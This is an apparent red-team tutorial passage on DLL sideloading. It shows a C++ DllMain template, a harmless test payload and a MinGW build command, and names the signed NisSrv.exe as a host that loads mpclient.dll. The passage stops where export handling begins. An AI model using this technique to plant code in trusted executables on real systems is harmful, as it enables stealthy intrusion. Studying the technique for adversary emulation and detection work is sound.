DLL hijacking and DLL sideloading (T1574.001) remains a reliable technique for gaining code execution in Windows environments, especially during red team engagements where stealth, plausibility, and trust relationships matter.

APTs are still utilizing the DLL sideloading/hijacking technique to achieve code execution in 2025:

Thus it is an essential technique to have in your inventory as an operator for red team engagements, for adversary simulation/emulation, and testing the blue team’s detection capabilities.

There are countless tutorials out there that show the process of discovering a DLL hijacking issue to an executable using procmon, sysinternals etc. This post is about writing the actual DLL in C++, and then avoid causing errors in the executable and breaking functionality if we want our executable to keep running and not raise any suspicion.

DLL Template in C++

The standard template for writing a DLL in C++ is the following;

#include <windows.h>
#include <windows.h>
#include <iostream>

#pragma comment (lib, "User32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

DllMain is the main function of the DLL, similarly to WinMain() or main(). DLL_PROCESS_ATTACH is the area in the code that gets executed once the DLL has been loaded by the executable. You can treat it as the main entry-point of the DLL. The rest is similar to any type of C++ program. You can declare functions, variables etc. before the DllMain function

#include <windows.h>
#include <iostream>

#pragma comment (lib, "User32.lib")

void message(){
    std::cout << "Test";
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        message();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

To test the DLL we will use a known Microsoft-signed executable NisSrv. Nissrv.exe has a DLL hijacking issue, where it goes through the search order and looks for the DLL mpclient.dll. So we compile our program as a shared library. In Linux you can do this with Mingw-w64 with:

x86_64-w64-mingw32-g++ -static -static-libgcc -static-libstdc++ --shared -o mpclient.dll mpclient.cpp

Putting nissrv.exe and our mpclient.dll in the same directory and running the executable should result in running our code i.e. printing Test.

εικόνα.png

But it didn’t! The reason behind that is that the executable is looking for the function MpConfigClose in the DLL. This breaks the functionality and doesn’t run our payload.

Reading the DLL’s export table